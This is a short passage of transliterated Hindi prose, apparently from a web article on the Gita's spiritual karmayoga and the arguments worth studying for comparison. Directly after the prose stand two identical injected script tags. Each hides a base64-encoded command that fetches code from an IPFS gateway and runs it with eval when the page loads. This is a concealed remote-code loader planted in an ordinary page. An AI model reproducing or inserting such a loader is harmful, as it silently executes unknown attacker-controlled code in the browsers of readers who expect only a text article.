yah bat sach hai ki ye yuktiyaan hamare yahaan pahale vishesh prachar mean n thian; vishesh karake parishrami panditoan ne hi vartaman samay mean unaka prachar kiya hai. parantu itane hi se yah nahian kaha ja sakata ki unaki charcha is granth mean n ki jae. kyoanki n keval tulana hi ke lie, kintu gita ke adhyatmik karmayog ka mahattv dhyan man ane ke lie bhi in yuktiyoan ko sankshep mean bhi kyoan n ho, jan lena atyant avashyak hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

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